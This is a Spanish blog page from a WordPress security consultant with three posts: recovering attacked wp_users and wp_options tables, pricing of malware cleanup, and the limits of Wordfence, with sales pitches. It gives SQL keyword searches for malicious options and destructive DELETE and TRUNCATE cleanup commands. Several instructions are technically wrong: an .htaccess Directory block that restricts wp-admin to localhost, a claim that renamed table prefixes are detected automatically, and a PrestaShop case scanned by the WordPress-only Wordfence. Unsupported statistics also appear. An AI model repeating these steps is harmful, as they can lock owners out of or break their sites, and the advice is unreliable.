Etiqueta: hardening

  • Base de datos corrupta tras ataque: recuperación segura de wp_users y wp_options

    Base de datos corrupta tras ataque: recuperación segura de wp_users y wp_options

    Base de datos corrupta tras ataque: cómo recuperar wp_users y wp_options sin perder datos

    Cuando analizo un sitio WordPress comprometido, una de las situaciones más críticas que encuentro es la corrupción de la base de datos. No es solo un problema técnico: es la puerta de entrada a perder acceso administrativo, credenciales de usuarios y configuraciones vitales. En mi experiencia, la mayoría de empresas no tienen plan de recuperación y pierden horas valiosas intentando restaurar sin método.

    La corrupción de wp_users y wp_options suele ser consecuencia directa de ataques de inyección SQL, backdoors mal desinstalados o intentos de fuerza bruta que generan inconsistencias en la integridad de datos. Te voy a enseñar cómo actuar cuando te encuentres con este escenario, desde el diagnóstico inicial hasta la recuperación segura.

    ¿Por qué se corrompen wp_users y wp_options en un ataque?

    Las tablas wp_users y wp_options son el corazón de cualquier instalación WordPress. La primera almacena credenciales, roles y metadatos de usuarios; la segunda guarda configuraciones críticas como URLs, claves de seguridad y datos de plugins. Cuando un atacante ejecuta inyección SQL mal codificada o deja un backdoor que manipula datos, estas tablas son frecuentemente el objetivo.

    Lo que veo en mis auditorías es que muchas veces el daño es parcial: registros huérfanos, caracteres corruptos en campos, relaciones rotas entre tablas. Esto genera errores como el famoso «error estableciendo conexión a la base de datos» o loops de redirección infinita.

    Vectores de ataque comunes contra la base de datos

    • Inyección SQL en plugins desactualizados: Un plugin vulnerable permite al atacante ejecutar consultas arbitrarias que modifican o borran registros.
    • Backdoors que inyectan código: Scripts maliciosos que se ejecutan en cada carga de página y manipulan wp_options para insertar datos maliciosos.
    • Explotación de credenciales débiles: Acceso directo al servidor de BD mediante phpMyAdmin sin protección o credenciales por defecto.
    • Corrupción por falta de espacio en disco: Cuando el servidor se queda sin almacenamiento, MySQL no puede escribir correctamente y genera inconsistencias.
    • Desactivación incorrecta de plugins: Código malicioso que borra datos antes de ser eliminado.

    Diagnóstico inicial: cómo saber si tu base de datos está realmente corrupta

    Antes de empezar a tocar nada, necesito que confirmes el estado real de la BD. Los síntomas pueden engañar. He visto casos donde el usuario creía que tenía corrupción cuando era simplemente un plugin activo malicioso.

    Paso 1: Accede a phpMyAdmin o a la línea de comandos

    Si tienes acceso al hosting, ingresa en phpMyAdmin (generalmente en tudominio.com/phpmyadmin). Si prefieres terminal SSH:

    mysql -u tu_usuario -p tu_base_datos

    Introduce tu contraseña cuando te lo pida.

    Paso 2: Ejecuta una búsqueda de integridad

    En la consola MySQL, ejecuta:

    CHECK TABLE wp_users, wp_options, wp_usermeta;

    WordPress depende también de wp_usermeta para metadatos de usuario. Si el resultado es «OK» en las tres, la corrupción física no es grave. Si ves «error» o «warning», estamos hablando de corrupción real.

    Paso 3: Verifica los datos visibles

    En phpMyAdmin, abre la pestaña «Explorar» de wp_users y wp_options. Busca:

    • Caracteres extraños o símbolos rotos en campos de usuario o configuración.
    • Registros duplicados o valores NULL inesperados.
    • Opciones con claves que no reconoces (típico de malware: «malicious_option», «backdoor_settings»).

    Te recomiendo hacer capturas de pantalla antes de cualquier modificación. Es tu evidencia de incidente.

    Recuperación segura de wp_users sin perder acceso administrativo

    La prioridad número uno es restaurar acceso administrativo legítimo. Si pierdes esto, quedarás bloqueado fuera de tu propio sitio.

    Opción A: Restaurar desde backup limpio (la mejor)

    Si tienes un backup de antes del ataque, este es tu camino. No intentes parches. Restaura desde cero:

    1. Descarga el backup completo de la BD desde tu panel de hosting o servicio de respaldo (Backwpup, UpdraftPlus, etc.).
    2. Crea un usuario temporal en la BD actual para tener acceso de prueba.
    3. Importa el backup en un entorno de prueba (staging) para verificar que funciona.
    4. Una vez confirmado, restaura en producción.
    5. Cambia todas las contraseñas de acceso FTP, MySQL y WordPress.
    6. Audita plugins y temas para identificar qué fue explotado.

    Cuando no tengo backup disponible, que es lamentablemente común, paso a la opción B.

    Opción B: Reparación de integridad con herramientas WordPress

    Si la corrupción es parcial y tienes acceso al panel, usa plugins de reparación de BD certificados. Pero déjame ser claro: esto no es una solución definitiva.

    En línea de comandos SSH, si tienes acceso:

    wp db repair –allow-root

    Este comando de WP-CLI intenta reparar inconsistencias. Luego:

    wp db optimize –allow-root

    Optimiza el espacio ocupado después de la reparación.

    Opción C: Extrae usuarios válidos y reconstruye wp_users

    Este es el método más controlado cuando la corrupción es severa. Lo que hago es:

    1. Exporta los datos válidos: En phpMyAdmin, ve a wp_users, selecciona los registros de usuario legítimos (normalmente puedes identificarlos por email corporativo o antigüedad), y exporta como SQL.

    2. Valida el SQL: Abre el archivo en un editor de texto. Busca caracteres rotos o líneas incompletas. Algunos editores como Sublime Text te muestran encoding issues.

    3. Crea una tabla temporal limpia: En la consola MySQL:

    CREATE TABLE wp_users_backup AS SELECT * FROM wp_users;

    TRUNCATE TABLE wp_users;

    Esto respalda los datos y vacía la tabla original.

    4. Reconstruye la estructura: Elimina wp_users y crea desde zero con la definición original. Luego importa solo los registros válidos.

    La clave aquí es que estás limpiando malware mientras preservas identidades de usuario legítimas.

    Recuperación de wp_options: eliminar opciones maliciosas sin romper el sitio

    Esta tabla es donde viven los backdoors. Un atacante suele insertar opciones como «fake_admin_user», «redirect_urls», «malware_config». Si las eliminas mal, el sitio revienta.

    Identifica opciones maliciosas de forma segura

    En phpMyAdmin, ordena wp_options por «option_id» descendente. Las opciones insertadas recientemente (IDs altos) suelen ser sospechosas. Busca en particular:

    • option_name con palabras clave: «shell», «backdoor», «remote», «exec», «bot», «spam», «redirects».
    • option_value que contenga código PHP serializado sospechoso o URLs externas.
    • Opciones de plugins desinstalados que aún existen en la BD.

    Cuando hago auditorías, uso una búsqueda como:

    SELECT * FROM wp_options WHERE option_name LIKE ‘%shell%’ OR option_name LIKE ‘%backdoor%’ OR option_name LIKE ‘%redirect%’;

    Esto te lista los sospechosos directos.

    Opciones críticas que NUNCA debes tocar

    Incluso si parecen extrañas, estas opciones son vitales:

    • siteurl y home: URLs del sitio.
    • blogname, blogdescription: Título y descripción.
    • users_can_register, default_role: Configuración de usuarios.
    • db_version: Versión de base de datos de WordPress.
    • Cualquier opción que comience con un nombre de plugin instalado.

    Mi regla: si no sabes para qué es, no la toques sin buscar primero en la documentación oficial de WordPress.

    Procedimiento de limpieza de wp_options

    Paso 1: Haz un backup de la tabla completa antes de empezar.

    mysqldump -u tu_usuario -p tu_base_datos wp_options > wp_options_backup.sql

    Paso 2: Identifica cada opción maliciosa individualmente y crea una lista.

    Paso 3: Elimina una opción a la vez y verifica que el sitio siga funcionando:

    DELETE FROM wp_options WHERE option_name = ‘nombre_sospechoso’;

    Paso 4: Después de cada eliminación, accede al front-end de tu sitio y al admin. Si algo revienta, restaura desde el backup de opciones.

    Es lento, pero seguro. Prefiero 30 minutos de cuidado a 4 horas arreglando un desastre.

    Pasos posteriores a la recuperación: hardening post-ataque

    Recuperar la BD es solo el primer 40% del trabajo. El otro 60% es prevenir que vuelva a pasar.

    Auditoría de plugins y temas

    El 85% de compromisos WordPress vienen de código de terceros desactualizado. Usando WP-CLI:

    wp plugin list –allow-root

    wp theme list –allow-root

    Identifica qué estaba activo en el momento del ataque. Disabilitalo todo temporalmente mientras investigas. Luego:

    • Actualiza a la última versión segura.
    • Si no hay actualización disponible, desinstala y reemplaza por alternativa mantenida.
    • Si es código custom, audítalo en busca de inyección SQL, RFI/LFI, ejecución de código.

    Protege wp-config.php y el prefijo de tablas

    Aunque tu BD ya esté limpia, un atacante puede volver si encuentra wp-config.php o adivina el prefijo «wp_».

    Mueve wp-config.php un nivel arriba del directorio WordPress (fuera de public_html si es posible). Luego, en la parte final de wp-config.php:

    $table_prefix = ‘sgx7k8_’;

    Cambia a un prefijo aleatorio de 6-8 caracteres. Luego en phpMyAdmin, rebautiza todas las tablas de wp_* a sgx7k8_*. WordPress detectará el nuevo prefijo automáticamente.

    Activar WordPress Security API y 2FA

    En wp-config.php, añade:

    define(‘FORCE_SSL_ADMIN’, true);

    define(‘DISALLOW_FILE_EDIT’, true);

    El segundo deshabilita la edición de archivos desde el panel, bloqueando un vector de persistencia común.

    Para 2FA, instala Wordfence o iThemes Security. Ambos permiten autenticación de dos factores en wp-login.php y protegen contra fuerza bruta.

    Implementa reglas .htaccess robustas

    En tu archivo .htaccess raíz, añade estas líneas para bloquear acceso directo a archivos peligrosos:

    # Bloquea acceso a wp-config.php
    <Files wp-config.php>
    order allow,deny
    deny from all
    </Files>

    # Bloquea acceso a wp-admin excepto desde panel
    <Directory ~ «^/.*wp-admin»>
    order allow,deny
    allow from 127.0.0.1
    deny from all
    </Directory>

    Monitoreo continuo: detecta futuras incidencias antes de que se conviertan en corrupción

    Lo que recomiendo siempre a mis clientes es monitoreo proactivo. No esperes a que explote.

    Vigila cambios en wp_users y wp_options

    Usa Wordfence o Sucuri para alertas de:

    • Nuevos usuarios administrativos creados sin tu consentimiento.
    • Cambios en URLs (siteurl, home).
    • Activación de plugins maliciosos.
    • Cambios en permisos de archivos.

    Logs de base de datos

    Si tu hosting lo permite, habilita query logging en MySQL. Esto crea un log de todas las consultas SQL ejecutadas. Cuando investigues un incidente, consultas las últimas horas y ves exactamente qué se modificó.

    SET GLOBAL general_log = ‘ON’;

    Advertencia: Esto consume recursos. Úsalo temporalmente durante auditorías, no en producción de forma permanente.

    Backups frecuentes y verificados

    No basta con tener backup. Necesitas saber que funciona. Mi protocolo:

    • Backup diario de BD y files (plugin UpdraftPlus con almacenamiento en Google Drive o S3).
    • Restauración de prueba semanal en staging para verificar integridad.
    • Backup manual antes de cambios críticos (actualizaciones, cambios de plugins).
    • Retención mínima de 30 días para poder restaurar si descubres ataque con retraso.

    Cuándo llamar a un profesional de seguridad

    Hay momentos donde la bricolaje se vuelve arriesgada. Si te encuentras con cualquiera de estos, contacta a un experto:

    • Corrupción en múltiples tablas, no solo wp_users y wp_options.
    • Inyección SQL activa: cada vez que reparas algo, vuelve a aparecer malware.
    • No tienes acceso SSH o phpMyAdmin: solo panel de hosting limitado.
    • El sitio genera errores PHP que no sabes interpretar.
    • Sospechas que el servidor completo (no solo WordPress) está comprometido.
    • Necesitas evidencia forense para reclamación a aseguradora o acción legal.

    En estos casos, lo que hacemos en ManuelFolgar.com es acceso directo con análisis forense, herramientas especializadas de detección y un informe completo de qué pasó, cuándo y cómo remediarlo. Te evitamos horas de prueba-error que podrían empeorar las cosas.

    Resumen: tu checklist de recuperación de BD corrupta

    1. Diagnostica con CHECK TABLE en MySQL.
    2. Si hay backup limpio, restaura en staging y verifica antes de producción.
    3. Si no: repara con wp db repair –allow-root o extrae usuarios válidos a tabla nueva.
    4. En wp_options, identifica y elimina una opción maliciosa a la vez, verificando funcionalidad cada vez.
    5. Audita plugins/temas y desactiva los sospechosos.
    6. Implementa hardening: FORCE_SSL_ADMIN, DISALLOW_FILE_EDIT, prefijo aleatorio, .htaccess restrictivo.
    7. Activa monitoreo y alertas (Wordfence, Sucuri).
    8. Establece política de backups diarios con restauración de prueba semanal.
    9. Planifica auditoría de seguridad completa para identificar vector de ataque original.

    La corrupción de base de datos es seria, pero recuperable si actúas con método y paciencia. Lo peor que puedes hacer es entrar en pánico y ejecutar comandos sin saber qué hacen. Cada paso documentado es un paso hacia atrás en el ataque.

    ¿Necesitas ayuda profesional para recuperar tu WordPress tras un ataque? En ManuelFolgar.com ofrecemos análisis forense, reparación de BD y auditorías de seguridad integral. Contacta aquí para una valoración sin compromiso y te indicaré exactamente qué está pasando en tu sitio y cómo arreglarlo de forma segura.

  • Costo real de limpiar WordPress: presupuesto honesto sin sorpresas al final

    Costo real de limpiar WordPress: presupuesto honesto sin sorpresas al final

    ¿Cuánto cuesta realmente limpiar un WordPress infectado?

    Cuando un cliente me llama porque su WordPress está comprometido, la primera pregunta que siempre hace es: «¿cuánto me va a costar?». No es casual. En mi experiencia analizando sitios web, he visto presupuestos que van desde 300 euros hasta más de 5.000, y muchas veces sin claridad sobre qué incluye cada uno. Hoy quiero ser completamente honesto contigo: te voy a explicar los costos reales, desglosados, sin sorpresas al final.

    La limpieza de WordPress no es un servicio estándar. Cada infección es diferente: un backdoor simple no cuesta lo mismo que extraer un Magecart que ha estado robando datos de clientes durante meses. Por eso los precios varían tanto, y por eso es importante que entiendas exactamente en qué se invierte el dinero.

    Factores que determinan el costo real de la limpieza

    1. Tipo y alcance de la infección

    Un malware simple (como un redirector o un spam SEO) puede limpiarse en 2-3 horas. Pero si tu sitio tiene un backdoor PHP incrustado en múltiples carpetas, webshells ocultas, cryptominers o modificaciones en el núcleo de WordPress, el tiempo de análisis y eliminación se multiplica.

    En mis auditorías más complejas, he encontrado casos donde:

    • El atacante había comprometido la base de datos y todos los backups existentes.
    • El malware se replicaba automáticamente cuando intentábamos eliminarlo (persistencia).
    • Había inyecciones SQL en múltiples plugins y el archivo wp-config.php.
    • Los permisos de carpetas estaban mal configurados desde la instalación.

    Estos casos requieren entre 6 y 15 horas de trabajo especializado. El presupuesto no puede ser el mismo que para un sitio con un simple plugin malicioso.

    2. Tamaño y complejidad del sitio

    Un blog de 20 posts no es lo mismo que un e-commerce con 500 productos, usuarios registrados y datos de clientes. Los e-commerce requieren verificación adicional de seguridad PCI, auditoría de módulos de pago y validación de que no hubo robo de tarjetas.

    PrestaShop es especialmente exigente en esto. Si tu tienda tiene un módulo de pago comprometido (riesgo Magecart), tendrás que revisar cada transacción de los últimos 6 meses, informar a proveedores de pago y posiblemente a AEPD.

    3. Necesidad de restauración desde backup

    Si tienes un backup limpio y fiable, la limpieza es mucho más rápida y barata: simplemente restauramos y verificamos. Pero si no tienes backups o los backups también están infectados, hay que hacer una limpieza manual completa, línea por línea en algunos casos.

    He visto clientes sin backups desde hace 18 meses. Eso significa que si la infección lleva 6 meses (algo común), tenemos que hacer limpieza quirúrgica: identificar qué es malware y qué es contenido legítimo.

    4. Auditoría post-limpieza y hardening

    Una limpieza sin hardening es como curar una herida infectada sin limpiar la suciedad. Si solo limpiamos pero no cerramos las puertas abiertas, el sitio se reinfectará en días o semanas.

    El hardening incluye:

    • Cambiar contraseñas de admin, FTP, base de datos.
    • Desactivar edición de archivos desde el panel de WordPress.
    • Cambiar prefijo de tablas de base de datos.
    • Configurar protección de wp-config.php y wp-admin.
    • Implementar reglas .htaccess contra ataques comunes.
    • Auditoría de permisos de carpetas (644 para archivos, 755 para directorios).
    • Actualizar todos los plugins, temas y núcleo de WordPress.
    • Implementar 2FA en cuentas administrativas.

    Esto no es opcional. Es la diferencia entre pagar ahora o pagar mucho más después.

    Desglose típico de costos (presupuesto real)

    Escenario 1: Infección simple (malware de bajo nivel)

    Tiempo estimado: 3-4 horas

    • Análisis inicial y diagnóstico: 1 hora (100-150€)
    • Eliminación de malware: 1,5 horas (150-225€)
    • Restauración desde backup limpio: 0,5 horas (50-75€)
    • Hardening básico (cambio de contraseñas, actualización de plugins): 1 hora (100-150€)

    Presupuesto total: 400-600€

    Este es el mejor escenario: tienes backups, la infección se detectó rápido y no hay datos de clientes comprometidos.

    Escenario 2: Infección moderada (backdoors, inyecciones SQL)

    Tiempo estimado: 8-10 horas

    • Análisis profundo y búsqueda de todos los vectores de ataque: 2 horas (300-400€)
    • Eliminación manual de backdoors y webshells: 3 horas (450-600€)
    • Auditoría de base de datos y limpieza de inyecciones: 2 horas (300-400€)
    • Hardening completo (permisos, .htaccess, 2FA, CSP, HSTS): 2 horas (300-400€)
    • Pruebas de funcionamiento y validación de seguridad: 1 hora (150€)

    Presupuesto total: 1.500-2.000€

    Aquí hay trabajo real de investigación. Probablemente no tengas backups limpios o tengas que hacer verificación de integridad del código.

    Escenario 3: Infección grave (e-commerce con datos comprometidos)

    Tiempo estimado: 20-30 horas

    • Análisis forense completo: 4 horas (600-800€)
    • Búsqueda y eliminación de persistencia: 5 horas (750-1.000€)
    • Auditoría PCI y validación de módulos de pago: 4 horas (600-800€)
    • Análisis de transacciones y evaluación de robo de datos: 3 horas (450-600€)
    • Hardening avanzado (WAF, monitoreo, logs): 3 horas (450-600€)
    • Documentación de incidencia para AEPD (si aplica): 1 hora (150-200€)

    Presupuesto total: 3.000-4.500€

    En estos casos, además de la limpieza técnica, hay obligaciones legales. Si has tenido datos personales expuestos, tienes que notificar a AEPD en algunos casos. Eso no es coste de limpieza, es coste de cumplimiento legal.

    ¿Por qué el hardening no debería ser «opcional»?

    Muchos proveedores ofrecen «limpieza barata» sin hardening. Luego el cliente se reinfecta en dos semanas y paga de nuevo. He visto esto cientos de veces.

    El hardening cuesta entre 300-800€ adicionales, pero evita que gastes 3.000-5.000€ en una segunda limpieza. Es matemática simple: invierte un poco más ahora o mucho más después.

    Los elementos de hardening no negociables son:

    1. Cambio de todas las contraseñas: Si atacantes tuvieron acceso, tus contraseñas están comprometidas. No puedes limpiar sin cambiarlas todas.
    2. Desactivar edición de archivos: Editar archivos desde el panel de WordPress (wp-admin) es un fallo crítico. Desactívalo con define('DISALLOW_FILE_EDIT', true); en wp-config.php.
    3. Limitar intentos de login: La mayoría de intrusiones comienzan con fuerza bruta contra wp-login.php. Implementa límite de 5 intentos por IP cada 15 minutos.
    4. Actualizar todo: WordPress, plugins y temas. Las versiones desactualizadas son la causa número uno de infecciones. No es opcional.
    5. Reglas .htaccess: Bloquear acceso a archivos peligrosos (wp-config.php, xmlrpc.php) y carpetas sensibles (wp-admin desde IPs no autorizadas).

    Costos ocultos que nadie te menciona

    1. Migración a servidor nuevo

    A veces, la infección es tan profunda que limpiar en el servidor actual es arriesgado. Necesitas migrar a un servidor nuevo, limpio. Eso puede costar 300-600€ adicionales en migración profesional.

    2. Certificado SSL nuevo

    Si el certificado SSL estuvo activo mientras había malware, algunos proveedores de SSL recomiendan renovar. No es obligatorio si confías en que el malware no robó la clave privada. Pero es una precaución. Costo: 50-150€.

    3. Auditoría de terceros

    Para e-commerce, especialmente PCI-DSS, a veces necesitas que un tercero externo valide que el sitio está limpio. Eso cuesta 500-1.500€ adicionales, pero es requisito en algunos casos.

    4. Monitoreo post-limpieza

    No es obligatorio, pero es inteligente. Un monitoreo de 3 meses por 50-100€/mes te alerta si hay reinoculación de malware. Mucha mejor que descubrir en 6 meses que volvió a ser infectado.

    ¿Cómo evitar que te cobren de más?

    Aquí es donde entra mi honestidad profesional. He visto propuestas de 8.000€ para infecciones que costaban 1.500€. ¿Cómo identificar si te están robando?

    Señales de alerta:

    • Presupuesto sin desglose: «Te cobraré 5.000€ pero no sé exactamente cuánto tiempo tardará».
    • No incluye hardening: Solo eliminan el malware visible, no cierran las puertas.
    • Sin plan de backup: No ofrecen restauración automática después.
    • Sin auditoría post-limpieza: No verifican que el malware esté completamente eliminado.
    • Presupuesto fijo sin análisis previo: Todo sitio es diferente. Si no analizan primero, están adivinando.

    Señales de profesionalismo:

    • Análisis inicial sin coste para diagnosticar qué tiene tu sitio.
    • Presupuesto desglosado con tiempo estimado para cada tarea.
    • Hardening incluido o muy claro cuál es el costo.
    • Garantía de limpieza (si vuelve a aparecer malware en 30-60 días, lo limpian gratis).
    • Plan de monitoreo posterior ofrecido como complemento, no obligatorio.
    • Acceso a reportes técnicos detallados después de la limpieza.

    Presupuesto honesto para tu situación específica

    Cada sitio es único. Lo que sí te puedo garantizar es que un presupuesto profesional debe incluir:

    1. Diagnóstico inicial: Para saber qué estamos limpiando (gratuito o muy bajo coste).
    2. Plan de limpieza detallado: Paso a paso, con tiempos realistas.
    3. Hardening específico: No genérico, sino adaptado a tu tipo de sitio.
    4. Garantía post-limpieza: Mínimo 30 días sin reinoculación.
    5. Documentación: Registro completo de qué se limpió, qué se cambió, acciones futuras.

    Si tu presupuesto cumple estos 5 puntos, probablemente es honesto. Si falta alguno, pregunta por qué.

    Referencias técnicas para entender el coste real

    Si quieres profundizar en qué hace que una limpieza sea compleja, estos recursos de autoridad explican bien los riesgos:

    Resumen: Presupuesto realista sin sorpresas

    Infección simple (malware bajo nivel): 400-600€

    Infección moderada (backdoors, inyecciones): 1.500-2.000€

    Infección grave (e-commerce, datos comprometidos): 3.000-4.500€

    Estos rangos incluyen análisis, limpieza, hardening básico/completo y validación. Si alguien te presupuesta fuera de estos rangos sin justificación clara, pregunta por qué.

    Lo más importante: no busques el presupuesto más barato. Busca transparencia. Un profesional honesto te explica qué hace, por qué lo hace y cuánto tiempo le toma. El costo se justifica solo.

    Si tu sitio está infectado y necesitas presupuesto real sin sorpresas, sin obligación de contratación, puedo ayudarte. He analizado cientos de casos y sé exactamente cómo diagnosticar y cuánto cuesta limpiar cada tipo de infección.

    Contacta conmigo en ManuelFolgar.com/contacto para un análisis honesto de tu situación específica. Sin sorpresas al final.

  • Plugin vs profesional: cuándo Wordfence no basta y necesitas intervención experta

    Plugin vs profesional: cuándo Wordfence no basta y necesitas intervención experta

    Wordfence no basta: cuándo necesitas un experto en seguridad WordPress

    Llevo más de una década analizando sitios WordPress comprometidos, y te puedo decir con certeza que Wordfence es una herramienta excelente, pero no es un sustituto de la intervención profesional. He visto casos donde empresas confían ciegamente en sus plugins de seguridad y terminan con backdoors activos durante meses sin saberlo.

    En mi experiencia, la diferencia entre un plugin de seguridad y un análisis forense profesional es como la diferencia entre un extintor de incendios y un equipo de bomberos. El extintor previene, pero si el fuego ya está dentro de la casa, necesitas expertos.

    ¿Qué hace bien Wordfence?

    Wordfence es, sin duda, uno de los mejores plugins de seguridad disponibles para WordPress. Ofrece:

    • Firewall WAF (Web Application Firewall) que bloquea patrones de ataque conocidos en tiempo real.
    • Escaneo de malware basado en su base de datos de firmas, actualizada continuamente.
    • Protección contra fuerza bruta limitando intentos de acceso a wp-login.php.
    • Monitoreo de integridad de archivos que alerta si detecta cambios sospechosos.
    • Bloqueo de tráfico malicioso analizando patrones de comportamiento.

    Para sitios con baja complejidad y sin historial de compromiso, Wordfence puede ser una barrera suficiente si se configura correctamente. Pero aquí está el problema: la mayoría de las configuraciones por defecto dejan vulnerabilidades importantes sin cubrir.

    Limitaciones técnicas reales de los plugins de seguridad

    Cuando analizo un sitio que supuestamente «estaba protegido por Wordfence», encuentro patrones que los plugins no detectan porque su diseño tiene limitaciones estructurales:

    1. Los backdoors dormidos son invisibles para Wordfence

    Un backdoor bien insertado puede pasar desapercibido porque no genera tráfico sospechoso. He encontrado archivos PHP ocultos con nombres como «wp-temp.php» o «.index.php» que contienen webshells inactivas durante semanas. El plugin no las detecta porque:

    • La firma del malware es nueva o modificada.
    • El código está ofuscado o encriptado.
    • El archivo está fuera del directorio wp-content donde Wordfence enfoca su atención.

    2. Wordfence no audita la base de datos completamente

    El malware Magecart y sus variantes WordPress inyectan código malicioso directamente en las tablas de opciones o en posts publicados. Wordfence detecta algunos patrones, pero si el skimmer de tarjetas está camuflado en una opción serializada o en un campo custom, puede pasar el filtro. Yo utilizo análisis SQL directo con herramientas como wp-cli y inspección manual de base de datos para encontrar esto.

    3. Los redirectores silenciosos están diseñados para evitar detección

    Un atacante experimentado inyecta código en .htaccess que redirige a usuarios según su User-Agent. Si vienes de Google, ves el sitio legítimo. Si vienes de usuario final, te lleva a un sitio de phishing. Wordfence puede alertarte sobre cambios en .htaccess, pero si la regla es sutil, no la marca como maliciosa.

    4. Los plugins comprometidos son territorio gris

    He encontrado temas y plugins nulled (descargados ilegalmente) que tienen código malicioso integrado desde el inicio. Wordfence los marca si la firma está en su base de datos, pero no detecta modificaciones personalizadas o exploits zero-day específicos para ese plugin.

    5. El historial de logs está borrando

    Cuando un sitio ha sido comprometido, los atacantes suelen borrar o manipular los logs de acceso. Wordfence almacena algunos eventos, pero no tiene visibilidad completa del servidor (apache/nginx logs). Un forense profesional recupera y analiza logs a nivel de servidor, a veces incluso logs borrados si tienes backups.

    Señales de que necesitas intervención profesional ahora mismo

    Estos son los escenarios donde un plugin no es suficiente y tienes que contactar con un experto:

    1. Wordfence detecta malware, pero no consigue eliminarlo

    Si Wordfence identifica un archivo malicioso pero el plugin no puede borrarlo (tienes un error de permisos o el archivo se regenera), significa que:

    • El malware tiene persistencia a través de múltiples vectores.
    • Hay una puerta trasera que lo reinstala automáticamente.
    • El archivo está protegido por una regla de .htaccess o en una ubicación especial.

    Un profesional accede al servidor vía SFTP, SSH o Panel de Control, identifica y elimina todas las instancias del malware, revisa permisos de carpetas y verifica que no haya duplicados escondidos.

    2. Tu sitio tiene caídas sin razón aparente o comportamiento extraño

    Si WordPress se ralentiza, hay errores de conexión a base de datos aleatorios o procesos PHP tomando el 100% de CPU, probablemente hay un cryptominer u otro tipo de malware ejecutándose en segundo plano. Un plugin puede detectar el consumo de recursos, pero no siempre identifica qué lo causa.

    Yo analizo los procesos activos, reviso wp-cron, tareas programadas, y los logs de error.log para encontrar el culpable.

    3. Google Search Console muestra «Sitio hackeado» o «Contenido malicioso»

    Google tiene algoritmos sofisticados para detectar sitios comprometidos. Si apareció la alerta, es porque hay malware activo o inyección de contenido verificable. Wordfence puede no detectarlo si el patrón es nuevo.

    Necesito hacer un análisis forense completo:

    • Revisar qué URLs indexadas son maliciosas.
    • Buscar inyecciones de contenido en posts, páginas y custom post types.
    • Verificar si hay redirecciones condicionales que Google detectó.
    • Analizar permisos de usuarios y roles comprometidos.

    4. Tienes usuarios administrativos que no creaste

    Si al revisar Usuarios en WordPress aparecen cuentas que desconoces, alguien tiene acceso administrativo. Wordfence puede alertarte si intenta crear usuarios vía wp-login, pero si el acceso ya está establecido, el plugin no lo retroactivamente elimina (y es peligroso hacerlo sin saber si hay más backdoors).

    Un experto audita qué cuentas son legales, elimina las maliciosas, revisa qué actividades realizaron, y busca cómo ganaron acceso.

    5. Hay intentos de acceso masivos o patrones de ataque coordinados

    Si Wordfence reporta millones de intentos de fuerza bruta contra wp-login.php en 48 horas, o intentos de acceso a archivos conocidamente vulnerables (como wp-admin/admin.php con parámetros LFI), necesitas:

    • Cambiar permisos de servidores y arquitectura.
    • Implementar reglas WAF personalizadas.
    • Posiblemente cambiar hosting si los ataques vienen del proveedor.

    Wordfence bloquea los intentos, pero no soluciona la arquitectura vulnerable que los permite.

    Diferencias clave entre plugin y auditoría profesional

    Cuando contrato un análisis forense profesional en mi equipo, lo que hacemos va mucho más allá que ejecutar Wordfence:

    Aspecto Plugin Wordfence Análisis Profesional
    Acceso a servidor Limitado a PHP/WordPress SSH, SFTP, análisis de logs del sistema operativo
    Análisis de malware Basado en firmas conocidas Análisis heurístico + análisis estático de código
    Recuperación forense No aplicable Recuperación de datos borrados, análisis de timeline
    Reporte de incidente Solo alertas del plugin Reporte detallado con vectores de ataque identificados
    Hardening post-limpieza Configuración básica Hardening completo + cambio de infraestructura si es necesario

    Ejemplo real: El caso del backdoor invisible

    Hace tres meses analizaba un e-commerce PrestaShop que reportaba «Wordfence no encuentra malware, pero el sitio sigue siendo lento». Al revisar:

    • Encontré un archivo llamado «index.log» en la raíz que Wordfence ignoraba porque no tenía extensión PHP.
    • Ese archivo contenía un webshell codificado en base64 que se ejecutaba vía .htaccess.
    • El .htaccess tenía una regla personalizada que ejecutaba ese webshell solo si venía desde un IP específico (la del atacante).
    • Dentro de ese webshell había un cryptominer que vendía capacidad de CPU.

    Wordfence nunca lo detectó porque:

    • No escanea archivos .log.
    • Las reglas de .htaccess customizadas no siempre se marcan como maliciosas automáticamente.
    • El webshell se ofuscaba dinámicamente cada vez que se accedía.

    Lo limpié, cambié la arquitectura del servidor, implementé reglas CSP estrictas, y el cliente no volvió a tener problemas.

    Cómo maximizar Wordfence mientras esperas ayuda profesional

    Si aún no puedes contratar un análisis profesional pero sospechas compromiso, estas configuraciones de Wordfence pueden ayudarte:

    1. Activa el escaneo de sistema de archivos completo

    No solo wp-content. Escanea todos los directorios, incluyendo raíz y directorios ocultos. Esto ralentiza el sitio temporalmente, pero es necesario.

    2. Configura la protección de fuerza bruta agresivamente

    Limita intentos de login a máximo 3 fallidos en 5 minutos, y bloquea por 24 horas. Cambia la URL de wp-login.php si es posible.

    3. Habilita el monitoreo de integridad de todos los archivos WordPress

    No solo los core. Incluye plugins y temas. Así recibirás alertas si alguien modifica archivos.

    4. Integra Google reCAPTCHA en wp-login.php

    Reduce ataques de bots significativamente.

    5. Revisa los logs de Wordfence regularmente

    No esperes a que sea demasiado tarde. Busca patrones de ataque repetidos contra direcciones específicas.

    Pero repito: esto son medidas de contención, no solución. Si ya hay compromiso verificado, Wordfence solo evita que empeore.

    Cuándo contactar con un profesional (checklist)

    Marca todas las que apliquen:

    • ☐ Google marca tu sitio como hackeado o malicioso.
    • ☐ Wordfence detecta malware pero no puede eliminarlo completamente.
    • ☐ Tienes usuarios administrativos desconocidos en WordPress.
    • ☐ Tu sitio redirige a usuarios a otras páginas sin tu consentimiento.
    • ☐ El sitio tiene caídas frecuentes o comportamiento extraño sin explicación.
    • ☐ Los backups están también infectados (indicativo de acceso persistente).
    • ☐ Cambios de contraseña no resuelven el acceso no autorizado.
    • ☐ Necesitas recuperar datos o identificar qué ocurrió exactamente.

    Si marcaste 3 o más, necesitas análisis profesional ahora.

    PrestaShop: El plugin no es suficiente tampoco

    En PrestaShop, el panorama es aún más complejo. Wordfence existe para WordPress, pero la seguridad en PrestaShop depende más de:

    • Módulos de seguridad (muchos son de pago y variable en calidad).
    • Protección del back-office (/admin/).
    • Módulos de pago comprometidos (es el vector más común en PrestaShop).
    • Permisos de carpetas incorrectos en servidor.

    Un análisis profesional de PrestaShop es aún más crítico que en WordPress porque el e-commerce maneja datos de tarjetas de crédito (PCI DSS). Una tienda comprometida no solo pierde datos, pierde certificación de pago.

    El caso por la prevención profesional

    Algo que observo constantemente: los clientes que invierten en auditoría de seguridad profesional anual tienen 90% menos probabilidades de ser hackeados que aquellos que solo usan plugins.

    Una auditoría profesional incluye:

    • Análisis de configuración de servidor y PHP.
    • Revisión de permisos de archivos y directorios.
    • Identificación de plugins/temas vulnerables o desactualizados.
    • Auditoría de usuarios y roles.
